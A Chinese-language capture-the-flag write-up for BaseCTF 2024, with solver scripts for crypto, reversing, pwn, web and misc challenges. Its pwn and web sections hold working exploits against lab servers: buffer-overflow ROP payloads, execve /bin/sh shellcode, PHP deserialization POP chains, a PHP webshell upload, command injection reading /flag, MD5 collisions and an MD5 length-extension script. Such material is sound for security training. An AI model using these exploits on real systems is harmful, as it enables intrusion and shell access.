Basectf2024

本文最后更新于 2024年9月21日 下午

Week1

Crypto

hello_crypto

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

# 已知的 key1 和密文
key1 = 208797759953288399620324890930572736628
ciphertext = b'U\xcd\xf3\xb1 r\xa1\x8e\x88\x92Sf\x8a`Sk],\xa3(i\xcd\x11\xd0D\x1edd\x16[&\x92@^\xfc\xa9(\xee\xfd\xfb\x07\x7f:\x9b\x88\xfe{\xae'

# 将 key1 转换为字节格式
key = long_to_bytes(key1)

# 创建 AES 解密器
my_aes = AES.new(key=key, mode=AES.MODE_ECB)

# 解密并去除填充
decrypted_data = unpad(my_aes.decrypt(ciphertext), AES.block_size)

# 打印解密后的数据
print(decrypted_data)

ez_rsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from Crypto.Util.number import long_to_bytes, inverse
import gmpy2

# 已知的 n, not_phi 和 c
n = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790344897976690691139671461342896437428086142262969360560293350630096355947291129943172939923835317907954465556018515239228081131167407674558849860647237317421
not_phi = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790384900615665394180812810697286554008262030049280213663390855887077502992804805794388166197820395507600028816810471093163466639673142482751115353389655533205
c = 37077223015399348092851894372646658604740267343644217689655405286963638119001805842457783136228509659145024536105346167019011411567936952592106648947994192469223516127472421779354488529147931251709280386948262922098480060585438392212246591935850115718989480740299246709231437138646467532794139869741318202945
e = 65537

# Step 1: 从 n 和 not_phi 计算出 p 和 q
# p*q = n, (p+2)*(q+2) = not_phi
# 展开得到 pq + 2p + 2q + 4 = not_phi
# p + q = (not_phi - n - 4) / 2

s = (not_phi - n - 4) // 2
# 使用求解二次方程的方法解出 p 和 q
# x^2 - sx + n = 0
discriminant = gmpy2.isqrt(s*s - 4*n)
p = (s + discriminant) // 2
q = (s - discriminant) // 2

# Step 2: 计算 φ(n)
phi = (p - 1) * (q - 1)

# Step 3: 计算私钥 d
d = inverse(e, phi)

# Step 4: 解密密文
m = pow(c, d, n)

# Step 5: 将解密的数字转换为字符串
decrypted_message = long_to_bytes(m)

# 打印解密后的数据
print(decrypted_message)

你会算md5吗

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import hashlib

# Helper function to compute MD5 hash of a string
def md5_hash(text):
return hashlib.md5(text.encode()).hexdigest()

# Possible characters
possible_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-=[]{}|;:,.<>?/"

# Given hashes
hashes = [
'9d5ed678fe57bcca610140957afab571', '0cc175b9c0f1b6a831c399e269772661',
'03c7c0ace395d80182db07ae2c30f034', 'e1671797c52e15f763380b45e841ec32',
'0d61f8370cad1d412f80b84d143e1257', 'b9ece18c950afbfa6b0fdbfa4ff731d3',
'800618943025315f869e4e1f09471012', 'f95b70fdc3088560732a5ac135644506',
'0cc175b9c0f1b6a831c399e269772661', 'a87ff679a2f3e71d9181a67b7542122c',
'92eb5ffee6ae2fec3ad71c777531578f', '8fa14cdd754f91cc6554c9e71929cce7',
'a87ff679a2f3e71d9181a67b7542122c', 'eccbc87e4b5ce2fe28308fd9f2a7baf3',
'0cc175b9c0f1b6a831c399e269772661', 'e4da3b7fbbce2345d7772b0674a318d5',
'336d5ebc5436534e61d16e63ddfca327', 'eccbc87e4b5ce2fe28308fd9f2a7baf3',
'8fa14cdd754f91cc6554c9e71929cce7', '8fa14cdd754f91cc6554c9e71929cce7',
'45c48cce2e2d7fbdea1afc51c7c6ad26', '336d5ebc5436534e61d16e63ddfca327',
'a87ff679a2f3e71d9181a67b7542122c', '8f14e45fceea167a5a36dedd4bea2543',
'1679091c5a880faf6fb5e6087eb1b2dc', 'a87ff679a2f3e71d9181a67b7542122c',
'336d5ebc5436534e61d16e63ddfca327', '92eb5ffee6ae2fec3ad71c777531578f',
'8277e0910d750195b448797616e091ad', '0cc175b9c0f1b6a831c399e269772661',
'c81e728d9d4c2f636f067f89cc14862c', '336d5ebc5436534e61d16e63ddfca327',
'0cc175b9c0f1b6a831c399e269772661', '8fa14cdd754f91cc6554c9e71929cce7',
'c9f0f895fb98ab9159f51fd0297e236d', 'e1671797c52e15f763380b45e841ec32',
'e1671797c52e15f763380b45e841ec32', 'a87ff679a2f3e71d9181a67b7542122c',
'8277e0910d750195b448797616e091ad', '92eb5ffee6ae2fec3ad71c777531578f',
'45c48cce2e2d7fbdea1afc51c7c6ad26', '0cc175b9c0f1b6a831c399e269772661',
'c9f0f895fb98ab9159f51fd0297e236d', '0cc175b9c0f1b6a831c399e269772661',
'cbb184dd8e05c9709e5dcaedaa0495cf'
]

# Find corresponding characters
decoded_flag = ''
for hash_val in hashes:
found = False
for char in possible_chars:
if md5_hash(char) == hash_val:
decoded_flag += char
found = True
break
if not found:
decoded_flag += '?' # Use a placeholder if hash not found

print(f"Decoded flag: {decoded_flag}")

十七倍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>

int main() {
unsigned char cipher[] = {
98, 113, 163, 181, 115, 148, 166, 43, 9, 95,
165, 146, 79, 115, 146, 233, 112, 180, 48, 79,
65, 181, 113, 146, 46, 249, 78, 183, 79, 133,
180, 113, 146, 148, 163, 79, 78, 48, 231, 77
};

unsigned char flag[40];
unsigned char inverse = 241; // 17's modular inverse modulo 256

for (int i = 0; i < 40; i++) {
flag[i] = (cipher[i] * inverse) % 256;
}

// Print the decrypted flag
printf("Decrypted flag: ");
for (int i = 0; i < 40; i++) {
printf("%c", flag[i]);
}
printf("\n");

return 0;
}

babypack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Util.number import long_to_bytes

# 从文件中读取a和c的值
with open('D:\\谷歌\\babypack\\output.txt', 'r') as f:
lines = f.readlines()
a = eval(lines[0].strip().split('=')[1])
c = int(lines[1].strip().split('=')[1])

bin_m = []
for i in range(len(a)):
if c >= a[i]:
bin_m.append('1')
c -= a[i]
else:
bin_m.append('0')

# 将bin_m转换回整数m
m = int(''.join(bin_m), 2)

# 将m转换回flag
flag = long_to_bytes(m)
print(flag)

Re

You are good at IDA

按照shift和f12进行查找最后拼接就行了

BaseCTF{Y0u_4Re_900d_47_id4}

UPX mini

QmFzZUNURntIYXYzX0BfZzBvZF90MW0zISEhfQ==

base64解密

BaseCTF{Hav3_@_g0od_t1m3!!!}

ez_maze

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from collections import deque

def find_path(maze, start_pos, end_pos):
ROWS = len(maze)
COLS = len(maze[0])

def move(pos, direction):
x, y = divmod(pos, COLS)
if direction == 'd': # Right
return pos + 1
elif direction == 's': # Down
return pos + COLS
elif direction == 'w': # Up
return pos - COLS
elif direction == 'a': # Left
return pos - 1
return pos

def is_valid(pos):
if pos < 0 or pos >= ROWS * COLS:
return False
x, y = divmod(pos, COLS)
return maze[x][y] != '$'

queue = deque([(start_pos, '')])
visited = set()
visited.add(start_pos)

while queue:
current_pos, path = queue.popleft()
if current_pos == end_pos:
return path

for direction in 'dsaw':
new_pos = move(current_pos, direction)
if is_valid(new_pos) and new_pos not in visited:
visited.add(new_pos)
queue.append((new_pos, path + direction))

return None

# 迷宫初始化
maze = [
"x$$$$$$$$$$$$$$",
"&&&&&&$$$$$$$$$",
"&$&$$&$$&&&&&$$",
"&$&$$$&&$$$$&$$",
"&$$$&&&$$$$$&$$",
"&$$$&$&&$&$$$$$",
"&$$$&$&$$&&&$$$",
"&&&&&$&&&&$&$$$",
"$$$$$$&&&&&&$$$",
"$$$$$$&$$$$$$$$",
"$$$&&&&$$&&&$$$",
"$$$&&&&&&&$$$$$",
"$$$$$$$$$&$$&$$",
"$$$$$$$$$&$&$$$",
"$$$$$$&&&&&&&&y"
]

# 将迷宫数据转换为一维列表
ROWS = 15
COLS = 15
maze_1d = ''.join(maze)

# 起点和终点
START = 0
END = (ROWS - 1) * COLS + (COLS - 1) # 最后一行最后一列的位置

# 查找路径
path = find_path([maze_1d[i * COLS:(i + 1) * COLS] for i in range(ROWS)], START, END)
if path:
print(f"找到的路径:{path}")
else:
print("没有找到路径")

最后进行MD5加密就行

BasePlus

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import base64

# Secret array used in encoding
Secret = '/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC'

def decode(encoded_str):
decoded_str = ""

# Step 1: XOR each character with 0xE to undo the XOR applied during encoding
xor_str = "".join(chr(ord(char) ^ 0xE) for char in encoded_str)

# Process the string in chunks of 4 characters
for i in range(0, len(xor_str), 4):
enc_chunk = xor_str[i:i+4]

try:
# Reverse the Base64-like encoding using the Secret array
v15 = (Secret.index(enc_chunk[0]) << 2) | (Secret.index(enc_chunk[1]) >> 4)
v16 = ((Secret.index(enc_chunk[1]) & 0xF) << 4) | (Secret.index(enc_chunk[2]) >> 2)
v17 = ((Secret.index(enc_chunk[2]) & 0x3) << 6) | Secret.index(enc_chunk[3])

# Reconstruct the original characters
decoded_str += chr(v15)
if v16 != 0:
decoded_str += chr(v16)
if v17 != 0:
decoded_str += chr(v17)

except ValueError as e:
print(f"Error processing chunk: {enc_chunk} - {e}")
return None

return decoded_str

# Example usage
encoded_str = "lvfzBiZiOw7<lhF8dDOfEbmI]i@bdcZfEc^z>aD!"
decoded_str = decode(encoded_str)

if decoded_str is not None:
print(f"Decoded string: {decoded_str}")
else:
print("Decoding failed due to an error.")

Ez Xor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import struct

def key_stream(key, length):
"""生成与输入数据长度相同的key stream"""
return bytes([i ^ key[i % len(key)] for i in range(length)])

def encrypt_decrypt(data, key_stream):
"""对数据进行加密/解密操作"""
return bytes([data[i] ^ key_stream[len(data) - i - 1] for i in range(len(data))])

def attempt_decryption(encrypted_data, key):
"""尝试用给定的key解密数据"""
key_stream_data = key_stream(key, len(encrypted_data))
decrypted = encrypt_decrypt(encrypted_data, key_stream_data)

try:
flag = decrypted.decode('ascii')
if flag.startswith("Base"):
return flag, "可能的flag"
else:
return flag, "解密结果"
except UnicodeDecodeError:
return decrypted.hex(), "无法解码为ASCII,十六进制结果"

def main():
encrypted_flag = (
b'\x01\x09\x05\x25\x26\x2D\x0B\x1D'
b'\x24\x7A\x31\x20\x1E\x49\x3D\x67'
b'\x4D\x50\x08\x25\x2E\x6E\x05\x34'
b'\x22\x40\x3B\x25'
)

key_value = 7499608

# 定义不同格式的key
keys = [
struct.pack('<I', key_value), # 小端 32 位
struct.pack('>I', key_value), # 大端 32 位
struct.pack('<I', key_value)[:3], # 小端 24 位
struct.pack('>I', key_value)[1:], # 大端 24 位
]

for i, key in enumerate(keys):
print(f"\n尝试 key {i + 1}: {key.hex()}")
result, status = attempt_decryption(encrypted_flag, key)
print(f"{status}: {result}")

if __name__ == "__main__":
main()

Pwn

签个到吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
# 设置连接信息
host = 'challenge.basectf.fun'
port = 33292
# 连接到远程服务
p = remote(host, port)

# 发送和接收数据
p.sendline(b'cat /flag')
response = p.recvline()
print(response.decode())

# 继续其他的交互操作
# 关闭连接
p.close()

echo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

# 设置连接信息
host = 'challenge.basectf.fun'
port = 40511

# 连接到远程服务
p = remote(host, port)

# 尝试使用 echo 和 bash 的 < 操作符读取文件
p.sendline(b'echo $(</flag)')
response = p.recvline()
print(response.decode())

# 关闭连接
p.close()

我把她丢了

填充使其溢出调用到bin/sh,就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

p = remote("challenge.basectf.fun", 49516)

#system_plt=elf.plt["system"]
pop_rdi_ret=0x0000000000401196
main=0x000000000040124B
payload=0x78*b'a'+p64(pop_rdi_ret)+p64(0x0000000000402008)+p64(0x000000000040120F)+p64(main)
#寄存器地址->bin/sh调用到system最后进入main
p.sendline(payload)

# 进入交互模式
p.interactive()

Re2text

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

# 连接到远程服务
p = remote("challenge.basectf.fun", 30147)

# 构造 payload
payload = b'a' * 0x28+p64(0x40101A)+p64(0x4011a4) # 填充缓冲区

# 发送 payload
p.sendline(payload)

# 进入交互模式
p.interactive()

shellcode_level0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

# 连接到远程服务
p = remote('challenge.basectf.fun', 49846)

# Shellcode 是一段二进制代码,可以直接在内存中执行。这个 shellcode 会启动一个 /bin/sh shell。

shellcode = (
b"\x48\x31\xc0" # xor rax, rax ; 清空 rax 寄存器 (rax = 0)
b"\x50" # push rax ; 将 rax (0) 压入栈,作为 NULL 终止符
b"\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68" # mov rbx, 0x68732f2f6e69622f ; 将 "/bin//sh" 存入 rbx
b"\x53" # push rbx ; 将 rbx ("/bin//sh") 压入栈
b"\x48\x89\xe7" # mov rdi, rsp ; 将栈指针 rsp 的值赋给 rdi,现在 rdi 指向 "/bin//sh"
b"\x48\x31\xf6" # xor rsi, rsi ; 清空 rsi 寄存器 (rsi = 0),表示 NULL
b"\x48\x31\xd2" # xor rdx, rdx ; 清空 rdx 寄存器 (rdx = 0),表示 NULL
b"\x48\x31\xc0" # xor rax, rax ; 清空 rax 寄存器 (rax = 0)
b"\xb0\x3b" # mov al, 0x3b ; 将 0x3b (59) 赋给 al 寄存器,59 是 execve 的系统调用号
b"\x0f\x05" # syscall ; 触发系统调用,执行 execve("/bin/sh", NULL, NULL)
)

p.sendline(shellcode)

p.interactive()

web

HTTP 是什么呀

?basectf=we1c%2500me

Base=fl@g

http1

http2

http3

base解密得到flag

喵喵喵´•ﻌ•`

喵喵喵

md5绕过欸

md5

A Dark Room

直接查看源码得到flag

upload

上传一句话木马,观看源码在uploads/,直接上传php即可

Aura 酱的礼物

混了个二血😋

前两个一个是php伪协议,一个直接输入

第三个

我是用的是@进行重定向,然后用我自己的vps开个端口进行拼接就行(理论上不需要这么复杂,只是最先想到这个办法

aura

最后进行伪协议读取flag

// flag{c985afc7-50f1-44e5-87f0-221d081b9459} Aura 酱有拿到一血吗?

Misc

你也喜欢圣物吗

打开下来先用010打开图片看,底部有个base64的编码

提示去看LSB

利用stegsolve进行分析,得到key

解开第一层压缩包

第二层伪加密工具进行解密,打开进去滑到下面有个真的flag

根本进不去啊!

进不去

dig的命令是进行域信息搜索器,找txt得到flag

海上遇到了鲨鱼

利用wireshark打开,http找到php,里面有flag,进行简单的反转得到flag

正着看还是反着看呢?

利用python读取图片文件,然后反转图片进行逆向

将文件拖到虚拟机,进行foremost,里面有压缩包解压得到flag

Base

直接64,32进行解密

签到!DK 盾!

直接公众号发送就行

人生苦短,我用Python

其他部分都可以看着推,我这边放一下推算15的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import itertools

# 目标值
target_value = 41378751114180610

# 我们已知的 flag 结构
flag = 'BaseCTF{s1Mpl3_1s_l1Tt3r_Th4n_C0mPl3x}'

# 定义我们将尝试的字符集
charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_'

# 计算函数
def calculate_sum(chars):
return sum(ord(c) * 2024_08_15 ** idx for idx, c in enumerate(chars))

# 生成所有可能的组合并测试
for combo in itertools.product(charset, repeat=3):
candidate = ''.join(combo)
if calculate_sum(candidate) == target_value:
# 找到符合条件的组合,更新 flag
flag = flag[:17] + candidate + flag[20:]
print(f"Found correct sequence: {candidate}")
print(f"Correct flag: {flag}")
break
else:
print("No valid sequence found.")
#得到flagimport itertools

# 目标值
target_value = 41378751114180610

# 我们已知的 flag 结构
flag = 'BaseCTF{s1Mpl3_1s_l1Tt3r_Th4n_C0mPl3x}'

# 定义我们将尝试的字符集
charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_'

# 计算函数
def calculate_sum(chars):
return sum(ord(c) * 2024_08_15 ** idx for idx, c in enumerate(chars))

# 生成所有可能的组合并测试
for combo in itertools.product(charset, repeat=3):
candidate = ''.join(combo)
if calculate_sum(candidate) == target_value:
# 找到符合条件的组合,更新 flag
flag = flag[:17] + candidate + flag[20:]
print(f"Found correct sequence: {candidate}")
print(f"Correct flag: {flag}")
break
else:
print("No valid sequence found.")
#BaseCTF{s1Mpl3_1s_BeTt3r_Th4n_C0mPl3x}

倒计时?海报!

配合stegsolve即可正确食用,一开始一直没写听说废眼,真正做的话十分钟以内估计就解决了附上各个对应的截图

haibao1 haibao1 haibao1 haibao1 haibao1 haibao1 haibao1 haibao1 haibao1 haibao1

BaseCTF{c0unt_d0wn_fro3_X_every_d@y_i5_re@11y_c0o1_@nd_h@rd_t0_do_1t_ev3ry_n1ght}

喵喵太可爱了

跟着幸运儿拿的flag

BaseCTF{m1a0_mi@o_1s_n0t_a_b3tr4yer_t0_t3l1_the_f1ag}

week2(以后只写web了,orz)

web

ez_ser

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
highlight_file(__FILE__);
error_reporting(0);

class re{
public $chu0;
public function __toString(){
if(!isset($this->chu0)){
return "I can not believes!";
}
$this->chu0->$nononono;
}
}

class web {
public $kw;
public $dt;

public function __wakeup() {
echo "lalalla".$this->kw;
}

public function __destruct() {
echo "ALL Done!";
}
}

class pwn {
public $dusk;
public $over;

public function __get($name) {
if($this->dusk != "gods"){
echo "什么,你竟敢不认可?";
}
$this->over->getflag();
}
}

class Misc {
public $nothing;
public $flag;

public function getflag() {
eval("system('cat /flag');");
}
}

class Crypto {
public function __wakeup() {
echo "happy happy happy!";
}

public function getflag() {
echo "you are over!";
}
}
$ser = $_GET['ser'];
unserialize($ser);
?>

构造exp

1
2
3
4
5
$exp = new web;
$exp->kw = new re;
$exp->kw->chu0 = new pwn;
$exp->kw->chu0->over = new Misc;
echo urlencode(serialize($exp));

一起吃豆豆

不能直接f12,可以用浏览器的开发者工具打开f12,看js代码

1
context.fillText(_LIFE ? atob("QmFzZUNURntKNV9nYW0zXzFzX2Vhc3lfdDBfaDRjayEhfQ==") : 'GAME OVER', this.x, this.y);

base64解一下就出来了

Happy Birthday

尝试了一下发现要传pdf格式并且需要文件相同,可以参考我php绕过那篇文章,利用fastcoll.exe生成两个文件,得到flag

你听不到我的声音

这题考察的是这个函数没有直接的回显,可以重定向,利用>得到flag

1
cmd=cat /flag>1.txt

Really EZ POP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
highlight_file(__FILE__);

class Sink
{
private $cmd = 'echo 123;';
public function __toString()
{
eval($this->cmd);
}
}

class Shark
{
private $word = 'Hello, World!';
public function __invoke()
{
echo 'Shark says:' . $this->word;
}
}

class Sea
{
public $animal;
public function __get($name)
{
$sea_ani = $this->animal;
echo 'In a deep deep sea, there is a ' . $sea_ani();
}
}

class Nature
{
public $sea;

public function __destruct()
{
echo $this->sea->see;
}
}

if ($_POST['nature']) {
$nature = unserialize($_POST['nature']);
}

构造exp

1
2
3
4
$exp = new Nature;
$exp->sea = new Sea;
$exp->sea->see = new Sink;
echo urlencode(serialize($exp));

RCEisamazingwithspace

过滤了空格,用常见的空格绕过就行

网上搜搜就行了,没什么好说的

数学大师

本体唯一的写脚本难度就是代码逻辑问题,本人写错的原因就是因为post了两次导致一直重复发包始终分数为1,就直接上exp了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import re
url = 'http://challenge.basectf.fun:29992/'
session = requests.Session()
session.cookies.set('PHPSESSID', '7ovv17kbkuh5f6pr1d2tbk07qt')
response = session.post(url)
math = re.search(r'second (\d+.+?)\?', response.text)
math = math.group(1).strip()
math = math.replace('÷', '//').replace('×', '*')
answer = eval(math)
for i in range(51):
post_data = {'answer': answer}
post_response = session.post(url, data=post_data)
math = re.search(r'second (\d+.+?)\?', post_response.text)
math = math.group(1).strip()
math = math.replace('÷', '//').replace('×', '*')
answer = eval(math)
print(post_response.text)

所以你说你懂 MD5?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
session_start();
highlight_file(__FILE__);
// 所以你说你懂 MD5 了?

$apple = $_POST['apple'];
$banana = $_POST['banana'];
if (!($apple !== $banana && md5($apple) === md5($banana))) {
die('加强难度就不会了?');
}

// 什么? 你绕过去了?
// 加大剂量!
// 我要让他成为 string
$apple = (string)$_POST['appple'];
$banana = (string)$_POST['bananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {
die('难吗?不难!');
}

// 你还是绕过去了?
// 哦哦哦, 我少了一个等于号
$apple = (string)$_POST['apppple'];
$banana = (string)$_POST['banananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {
die('嘻嘻, 不会了? 没看直播回放?');
}

// 你以为这就结束了
if (!isset($_SESSION['random'])) {
$_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
}

// 你想看到 random 的值吗?
// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧
$random = $_SESSION['random'];
echo md5($random);
echo '<br />';

$name = $_POST['name'] ?? 'user';

// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {
die('不是管理员也来凑热闹?');
}

$md5 = $_POST['md5'];
if (md5($random . $name) !== $md5) {
die('伪造? NO NO NO!');
}

// 认输了, 看样子你真的很懂 MD5
// 那 flag 就给你吧
echo "看样子你真的很懂 MD5";
echo file_get_contents('/flag');

第一层正常的数组绕过

1
apple[]=1&banana[]=2

第二层和第三层都强制转string了,可以利用到fastcoll来获得内容进行绕过,这里我直接用网上的了

1
appple=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%24%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%82%7D%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%84%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEcC%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%BC%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%99%B59%F9%FF%C2&bananana=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%A4%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%02%7E%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%04%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEc%C3%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%3C%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%9959%F9%FF%C2&apppple=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%24%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%82%7D%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%84%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEcC%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%BC%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%99%B59%F9%FF%C2&banananana=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%A4%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%02%7E%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%04%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEc%C3%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%3C%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%9959%F9%FF%C2

最后一层已知$random的MD5值,可以控制name和md5的值,求等式进行绕过,通过了解知道是MD5长度拓展攻击

先前一直在找hashpump的一直不好用现在贴一个比较好用的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
from struct import pack, unpack
from math import floor, sin


"""
MD5 Extension Attack
====================

@refs
https://github.com/shellfeel/hash-ext-attack
"""


class MD5:

def __init__(self):
self.A, self.B, self.C, self.D = \
(0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476) # initial values
self.r: list[int] = \
[7, 12, 17, 22] * 4 + [5, 9, 14, 20] * 4 + \
[4, 11, 16, 23] * 4 + [6, 10, 15, 21] * 4 # shift values
self.k: list[int] = \
[floor(abs(sin(i + 1)) * pow(2, 32))
for i in range(64)] # constants

def _lrot(self, x: int, n: int) -> int:
# left rotate
return (x << n) | (x >> 32 - n)

def update(self, chunk: bytes) -> None:
# update the hash for a chunk of data (64 bytes)
w = list(unpack('<'+'I'*16, chunk))
a, b, c, d = self.A, self.B, self.C, self.D

for i in range(64):
if i < 16:
f = (b & c) | ((~b) & d)
flag = i
elif i < 32:
f = (b & d) | (c & (~d))
flag = (5 * i + 1) % 16
elif i < 48:
f = (b ^ c ^ d)
flag = (3 * i + 5) % 16
else:
f = c ^ (b | (~d))
flag = (7 * i) % 16

tmp = b + \
self._lrot((a + f + self.k[i] + w[flag])
& 0xffffffff, self.r[i])
a, b, c, d = d, tmp & 0xffffffff, b, c

self.A = (self.A + a) & 0xffffffff
self.B = (self.B + b) & 0xffffffff
self.C = (self.C + c) & 0xffffffff
self.D = (self.D + d) & 0xffffffff

def extend(self, msg: bytes) -> None:
# extend the hash with a new message (padded)
assert len(msg) % 64 == 0
for i in range(0, len(msg), 64):
self.update(msg[i:i + 64])

def padding(self, msg: bytes) -> bytes:
# pad the message
length = pack('<Q', len(msg) * 8)

msg += b'\x80'
msg += b'\x00' * ((56 - len(msg)) % 64)
msg += length

return msg

def digest(self) -> bytes:
# return the hash
return pack('<IIII', self.A, self.B, self.C, self.D)


def verify_md5(test_string: bytes) -> None:
# (DEBUG function) verify the MD5 implementation
from hashlib import md5 as md5_hashlib

def md5_manual(msg: bytes) -> bytes:
md5 = MD5()
md5.extend(md5.padding(msg))
return md5.digest()

manual_result = md5_manual(test_string).hex()
hashlib_result = md5_hashlib(test_string).hexdigest()

assert manual_result == hashlib_result, "Test failed!"


def attack(message_len: int, known_hash: str,
append_str: bytes) -> tuple:
# MD5 extension attack
md5 = MD5()

previous_text = md5.padding(b"*" * message_len)
current_text = previous_text + append_str

md5.A, md5.B, md5.C, md5.D = unpack("<IIII", bytes.fromhex(known_hash))
md5.extend(md5.padding(current_text)[len(previous_text):])

return current_text[message_len:], md5.digest().hex()


